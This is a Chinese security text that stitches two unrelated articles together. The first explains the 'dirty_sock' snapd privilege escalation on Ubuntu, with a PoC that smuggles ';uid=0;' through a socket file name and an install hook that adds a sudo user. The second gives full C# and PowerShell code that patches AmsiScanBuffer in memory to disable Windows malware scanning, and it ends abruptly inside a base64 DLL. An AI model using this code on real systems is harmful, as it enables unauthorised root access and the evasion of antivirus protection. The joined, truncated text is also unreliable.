2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限。

概述

首先在此提供dirty_sock代码仓库中两个有效的exploit:

dirty_sockv1:基于Ubuntu SSO的详细信息,使用create-user API创建本地用户。

dirty_sockv2:侧加载snap,其中包含生成新本地用户的install hook。

两者都对默认安装的Ubuntu有效。大部分测试是在18.10版本完成的,不过旧版本也受改漏洞影响。值得一提的是,snapd团队对此漏洞回应迅速且处理妥善。直接与他们合作也是非常愉快。

snapd提供了附加到本地UNIX_AF socket的REST API,通过查询与该socket连接的关联UID来实现对API的访问控制。在for循环进行字符串解析的过程中,用户可控的socket数据可以覆盖UID变量,从而允许任何用户访问任何API函数。而通过访问API,有多种方法可以获取root权限,上面链接的exploit就展示了两种可能性。

背景:什么是snap?

为了简化Linux系统上的打包应用程序,各种新的竞争标准纷纷出现。作为其中的一个发行版,Ubuntu Linux的开发商Canonical也在推广他们的“Snap”,类似于Windows应用程序,snap将所有应用程序依赖项转换为单个二进制文件。

Snap生态包含一个“应用商店”,开发人员可以在其中发布和维护即时可用的软件包。

本地的snap和在线商店的通信部分由系统服务“snapd”处理。此服务自动安装在Ubuntu中,并在“root”用户的上下文中运行。Snapd正在发展成为Ubuntu操作系统的重要组成部分,特别是在用于云和物联网的“Snappy Ubuntu Core”等更精简的发行版中。

漏洞总览

有趣的Linux操作系统信息

snapd服务在位于/lib/systemd/system/snapd.service的unit文件中被描述。

以下是前几行:

[Unit]
Description=Snappy daemon
Requires=snapd.socket

顺着这个我们找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:

[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666

Linux通过称为“AF_UNIX”的socket在同一台机器上的进程之间进行通信。“AF_INET”和“AF_INET6”socket则用于通过网络连接的进程通信。上面显示的内容告诉我们系统创建了两个socket文件。’0666′模式则为所有人设置文件读写权限,只有这样才可以允许任何进程连接并进行socket通信。

我们可以通过文件系统在查看这些socket文件:

$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

我们可以通过Linux中的nc工具(只要是BSD风格)连接到像这样的AF_UNIX socket。以下是一个示例。

$ nc -U /run/snapd.socket
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request

碰巧,攻击者在入侵计算机后要做的第一件事就是查找在root上下文中运行的隐藏服务,HTTP服务器是利用的主要目标,而它们通常与网络套接字有关。

现在我们知道有一个很好的利用目标 – 一个隐藏可能没有被广泛测试的HTTP服务。另外,我正在开发一个提权工具uptux,该工具可识别出此漏洞。

存在漏洞的代码

作为一个开源项目,我们利用源代码继续进行静态分析。开发人员提供了有关此REST API的文档

对于利用而言,一个非常需要的API函数是“POST/v2/create-user”,简称为“创建本地用户”。文档告诉我们这个调用需要root权限才能执行。那么守护进程究竟是如何确定访问API的用户是否已经拥有root权限?

顺着代码我们找到了这个文件,现在来看这一行:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

这是调用golang的标准库之一,用来收集与套接字连接相关的用户信息。基本上,AF_UNIX socket系列有一个选项,可以在附加数据中接收发送过程的凭据(请参阅Linux命令行中的man unix)。这是确定访问API的进程权限的一种相当可靠的方法。

通过使用名为delve的golang调试器,我们可以确切地看到上文执行“nc”命令时返回的内容。下面是在此函数中设置断点时调试器的输出,然后使用delve的“print”命令来显示变量“ucred”当前包含的内容:

> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
   109:	ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110:	if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

不错。它知道了我的uid为1000,即将拒绝我访问敏感的API函数。如果程序在这种状态下调用这些变量,那么结果就符合预期了,然而事实并非如此。

其实在此函数中还包含一些额外的处理,其中连接信息与上面发现的值会一起被添加到一个新对象:

func (wc *ucrednetConn) RemoteAddr() net.Addr {
return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}

这些值被拼接成一个字符串变量:

func (wa *ucrednetAddr) String() string {
    return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}

最后经由函数解析,字符串再次被分解为单个变量

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
...
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}

最后一个函数的作用是将字符串用“;”字符拆分,然后查找以“uid =”开头的任何内容。当它遍历完所有拆分时,第二次出现的“uid =”会覆盖掉第一个。

所以如果我们能以某种方式将任意文本注入此函数中…

回到delve调试器,我们可以查看一下“remoteAddr”字符串,看看在实现正确的HTTP GET请求的“nc”连接中它包含了什么:

请求:

$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1

调试器输出:

github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"

现在的情况是,我们有一个字符串变量,其中所有变量都拼接在一起,该字符串包含四个元素。第二个元素“uid = 1000”是当前控制权限的内容。

函数将此字符串通过“;”拆分并迭代,如果字符串包含“uid=”),则可能会覆盖第一个“uid =”。

第一个(socket=/run/snapd.socket)是用来监听socket的本地“网络地址”:是服务所定义的绑定文件路径。我们无法修改snapd,也无法让其使用另一个socket名来运行。但是字符串末尾的“@”符号是什么? 这个是从哪里来的?变量名“remoteAddr”给了一个很好的提示。在调试器中费了些周折,我们可以看到golang标准库(net.go)返回本地网络地址和远程地址。你可以在下面的调试会话中看到输出为“laddr”和“raddr”。

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210:	func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
laddr: net.Addr(*net.UnixAddr) *{
Name: "/run/snapd.socket",
Net: "unix",},
raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

远程地址会被设置为神秘的@符号。进一步阅读man unix帮助信息后,我们了解到这与“抽象命名空间”有关,用来绑定独立于文件系统的socket。命名空间中的socket开头为null-byte,该字符在终端中通常会显示为@。

我们可以创建绑定到我们控制的文件名的socket,而不依赖netcat利用的抽象套接字命名空间。这应该允许我们影响想要修改的字符串变量的最后部分,也就是上文的“raddr”变量。

使用一些python代码,我们可以创建一个包含“;uid=0;”字符串的文件名,通过socket绑定该文件,来启动与snapd API的连接。

以下为PoC代码片段:

## 设置包含payload的socket名称
sockfile = "/tmp/sock;uid=0;"
## 绑定socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
## 连接到snap守护进程
client_sock.connect('/run/snapd.socket')

现在再看一下remoteAddr变量,观察调试器中发生的事情:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

我们注入了一个假的uid 0,即root用户,它会在最后一次迭代中覆盖实际的uid。这样我们就能够访问API的受保护功能。

在调试器中继续观察来验证这一点,并看到uid被设置为0:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  65:	return pid, uid, socket, err
...
(dlv) print uid
0

武器化使用

版本一

dirty_sockv1利用的是“POST/v2/create-user”这个API函数。要利用该漏洞,我们只需在Ubuntu SSO上创建一个账户,然后将SSH公钥上传到账户目录中,接下来使用如下命令来利用漏洞(使用注册的邮箱和关联的SSH私钥):

$ dirty_sockv1.py -u 你的@邮箱.com -k id_rsa

这种方法是非常可靠的,可以安全执行。你可以止步这里并自己尝试获得root权限。

还在看? 好吧,对互联网连接和SSH服务的要求一直在变,我想看看我是否可以在更受限制的环境中利用。这导致我们有了版本二。

版本二

dirty_sockv2使用了“POST/v2/snaps” API来侧加载snap,该snap中包含一个bash脚本,可以添加一个本地用户。这个版本适用于没有运行SSH服务的系统,也适用于没有互联网连接的新版Ubuntu。然而,侧加载需要一些核心snap依赖,如果不存在这些依赖,可能会触发snapd服务的更新操作。这个场景下,我发现这个版本仍然有效,但只能使用一次。

snap本身运行在沙箱环境中,并且数字签名需要匹配主机已信任的公钥。然而我们可以通过处于开发模式(“devmode”)的snap来降低这些限制条件,这样snap就能像其他应用那样访问主机操作系统。

此外snap引入了“hooks”机制,其中“install hook”会在snap安装时运行,并且“install hook”可以是一个简单的shell脚本。如果snap配置为“devmode”,那么这个hook会在root上下文中运行。

我创建了一个简单的snap,该snap没有其他功能,只是会在安装阶段执行的一个bash脚本。

该脚本会运行如下命令:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

上面加密字符串只是使用Python crypt.crypt()函数处理“dirty_sock”所创建的文本。

以下命令显示了详细创建此快照的过程,这都是在开发机器上完成的,而不是目标机器。snap创建完毕后,我们可以将其转换为base64文本,以便包含到完整的python利用代码中。

## 安装必要工具
sudo apt install snapcraft -y
## 创建空目录
cd /tmp
mkdir dirty_snap
cd dirty_snap
## 初始化目录作为snap项目
snapcraft init
## 设置安装hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## 写下我们想要以root执行的脚本
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
## 配置snap yaml文件
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
  my-part:
    plugin: nil
EOF
## 搭建snap
snapcraft

一旦有了snap文件,我们就可以通过bash将它转换为base64,如下所示:

$ base64 <snap-filename.snap>

base64编码的文本可以放在dirty_sock.py漏洞利用代码开头的全局变量“TROJAN_SNAP”中。

漏洞利用代码本身是用python中写的,可以执行以下操作:

1.创建一个文件,文件名包含”;uid=0;”

2.将socket绑定到该文件

3.连接到snap API

4.删除(上次留下的)snap

5.(在install hook将运行时)安装snap

6.删除snap

7.删除临时socket文件

8.提示祝你利用成功

dirty_sock.png

预防和补救措施

打上补丁,snapd团队在披露后迅速修复了漏洞。

*参考来源:shenaniganslabsthehackernews,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

前言

众所周知,AMSI会对获取shell造成麻烦,这篇文章将介绍如何在早期解决此类问题。

什么是AMSI?

AMSI全称为“ANTI MALWARE SCAN INTERFACE”,即反恶意软件扫描接口。顾名思义,它要做的就是扫描,检测和阻止任何有害的东西。

还是不知道这是什么玩意?你可以查看下方截图:

amsi_01.JPG

显然,如果你具有在Windows环境中渗透测试的经验,那么就应该知道几乎所有公开的脚本(包括Nishang,Empire,PowerSploit中的脚本)都会出现这样的错误。

AMSI如何运作?

AMSI之前使用“基于字符串”的检测方法来确定PowerShell代码是否包含恶意代码。见下图:

amsi_02.JPG

没错,“amsiutils”这个词被禁止了。如果你的英文名中有这个词,那么朋友,你就是AMSI眼中的的恶意人员。

如何绕过字符串检测?

几乎每个有经验的人都知道字符串检测很容易绕过,只要不逐字地使用被禁止的字符串。而是使用编码或将其拆分为块并重新组合就可以解决此问题。以下是执行“被禁止”代码且成功绕过的三种方法:

amsi_03.JPG

这种方法简单地将单词分成两半就足以绕过这种检测。我们在混淆中见过许多。但在大多数情况下,这种方法没什么用。

amsi_04.JPG

在某些情况下,简单地通过Base64解码也可以绕过检测。

amsi_05.JPG

当然,你也可以使用XOR来绕过AMSI并在运行时将字符串解回内存。这是最有效的,因为这样一来AMSI就需要更高的抽象来检测恶意代码。

以上所有这些技术都是围绕字符串检测展开的,但肯定还有其他方法。我想以原始状态(即AMSI阻止它们的状态)执行脚本。这样可行吗?

通过Memory Patching绕过AMSI

几个月前,cyberark发布了一篇博文,描述了如何绕过AMSI。 微软此后改变了AMSI处理PowerShell会话的方式,因此原始绕过技术现在无法起作用。Microsoft的更新更改了AMSI,因此PowerShell在扫描用户输入时不再使用AmsiScanString函数。

在下图中,你可以看到AmsiScanString已被AmsiScanBuffer API替换:

20181211152446.png

运行PowerShell MimiKatz payload时,出现如下错误:

20181211152645.png

在此阶段开始尝试绕过新的AMSI。 目标是修补新的AmsiScanBuffer函数。下图为函数文档:

20181211152938.png

如你所见,此函数要获取所需扫描的缓冲区和缓冲区长度。 我们需要做的就是在存储缓冲区长度的函数内修补。这样做扫描会以零长度上执行。

严格来说,我们并没有“绕过”,而是禁用了它。

AMSI有一些在运行任何PowerShell代码之前就执行的函数(从Powershell v3.0开始),因此为了完全绕过AMSI并执行任何PowerShell恶意代码,我们需要对它们进行memory patching来完全禁用它。

它适用于最新版本的Windows!我们可以将这种技术实用化并将其应用于PowerShell脚本,因此可以在现实环境中利用它!

现在我们应用上述技术的代码编译C#DLL,然后在PowerShell会话中加载并执行此代码,此举可以完全禁用AMSI!

using System;

using System.Runtime.InteropServices;

namespace Bypass

{

    public class AMSI

    {

        [DllImport("kernel32")]

        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]

        public static extern IntPtr LoadLibrary(string name);

        [DllImport("kernel32")]

        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]

        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()

        {

            IntPtr TargetDLL = LoadLibrary("amsi.dll");

            if (TargetDLL == IntPtr.Zero)

            {

                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");

                return 1;

            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            if (AmsiScanBufferPtr == IntPtr.Zero)

            {

                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");

                return 1;

            }

            UIntPtr dwSize = (UIntPtr)5;

            uint Zero = 0;

            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))

            {

                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");

                return 1;

            }

            Byte[] Patch = { 0x31, 0xff, 0x90 };

            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);

            Marshal.Copy(Patch, 0, unmanagedPointer, 3);

            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");

            return 0;

        }

    }

}

效果如下图:

amsi_06.JPG

这样我们就可以完全绕过检测。可以自由加载任何PowerShell脚本,无论是否恶意。通过将此类方法与你的工具相结合,成功率将大大提升。

通过PowerShell进行武器化使用

当然,在渗透测试中,我们必须拥有自动应用此类技术的工具。同样,当我们通过C#使用.NET框架时,可以在运行时创建一个映射DLL到内存的Posh脚本,而无需将DLL接触磁盘。

以下是禁用AMSI的PowerShell脚本:

function Bypass-AMSI

{

    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {

        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9w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